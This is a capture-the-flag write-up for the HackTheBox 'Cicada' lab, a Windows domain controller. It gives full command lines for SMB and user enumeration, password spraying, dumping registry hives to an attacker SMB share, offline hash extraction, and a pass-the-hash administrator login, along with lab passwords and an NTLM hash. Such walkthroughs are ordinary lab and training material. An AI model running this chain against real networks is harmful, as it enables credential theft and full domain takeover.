HackTheBox Writeup - Cicada

Published on: 10/6/2024

Summary: A simple AD machine can be easily solved by familiarizing yourself with AD enumeration and NTLM Hash cracking and application.


Reconnaissance

Port Scan

Using nmap to scan the target host, we know that the target host's OS is Windows, and it has Kerberos, DNS, and LDAP services enabled, so we can determine that it is a domain controller.

nmap -vv --reason -Pn -T4 -sV -sC --version-all -A --osscan-guess -oN /home/kali/HTB/Cicada/results/cicada.htb/scans/_quick_tcp_nmap.txt -oX / home/kali/HTB/Cicada/results/cicada.htb/scans/xml/_quick_tcp_nmap.xml cicada.htb

image

SMB Enumeration

Scan the network disks of the target host via SMBMap.

smbmap -u "guest" -p "" -P 445 -H cicada.htb

image

Where //cicada.htb/HR contains a text file showing that the default password is Cicada$M6Corpb*@Lp#nZp!8.

image

Use netexec to list all users as guest.

netexec smb 10.129.23.230 -u guest -p '' --rid-brute > users.txt

image

Retrieve a list of valid users from it.

cat users.txt | grep SidTypeUser | cut -d \\ -f 2 | cut -d ' ' -f 1 > valid_users.txt

image

Initial Access

Identify which user is using the default password by using a password spamming attack.

crackmapexec smb cicada.htb --port=445 -u "/home/kali/HTB/Cicada/valid_users.txt" -p "/home/kali/HTB/Cicada/password.txt"

image

This user has access to //cicada.htb/DEV and logged in to find a script for backup.

image

The script contains the plaintext password for emily.oscars.

image

Privilege Escalation

AD Enumeration

The bloodhound enumeration shows that emily.oscars belong to the Backup Operator group and have arbitrary access to the target system's files and registries.

image

OS Credential Dump : From Backup Operator To Domain Admin

Open an smb server, and use emily.oscar's privilege to backup all SAM Hive of the target system back to smb server.

impacket-smbserver share . -smb2support
impacket-reg 'cicada.htb/emily.oscars':'Q!3@Lp#M6b*7t*Vt'@10.129.23.230 backup -o '\\10.10.16.5\share'

image

Using secretsdump.py to parse the SAM Hive offline, you can get the NTLM Hash for all users.

impacket-secretsdump LOCAL -system SYSTEM.save -security SECURITY.save -sam SAM.save

image

Pass-The-Hash

Using psexec.py to carry out Pass-The-Hash login to the Administrator successfully got the flag.

impacket-psexec cicada.htb/administrator@10.129.23.230 -hashes aad3b435b51404eeaad3b435b51404ee:2b87e7c93a3e8a0ea4a581937016f341

image

Table of Contents